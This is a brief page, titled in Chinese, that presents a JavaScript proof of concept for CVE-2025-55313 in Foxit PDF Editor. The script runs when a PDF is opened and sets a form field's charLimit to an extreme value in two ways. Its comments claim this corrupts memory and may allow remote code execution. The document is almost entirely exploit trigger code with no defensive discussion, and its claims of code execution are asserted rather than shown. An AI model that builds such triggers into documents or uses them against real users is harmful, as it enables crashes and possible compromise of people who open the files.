CVE-2025-55313 Foxit PDF Editor内存损坏导致任意代码执行漏洞

// CVE-2025-55313 PoC - Foxit PDF Editor Memory Corruption // This PoC demonstrates setting an extremely large charLimit value // that can lead to memory corruption and potential RCE function triggerVulnerability() { try { // Get the first form field in the PDF var field = this.getField("targetField"); if (field != null) { // Set an extremely large charLimit value // This causes memory allocation failure and corruption field.setAttribute("charLimit", 9999999999999); console.println("Vulnerability triggered: charLimit set to extreme value"); } } catch (e) { console.println("Error: " + e.message); } } // Execute when PDF is opened triggerVulnerability(); // Alternative method using direct property assignment this.getField("targetField").charLimit = Number.MAX_VALUE;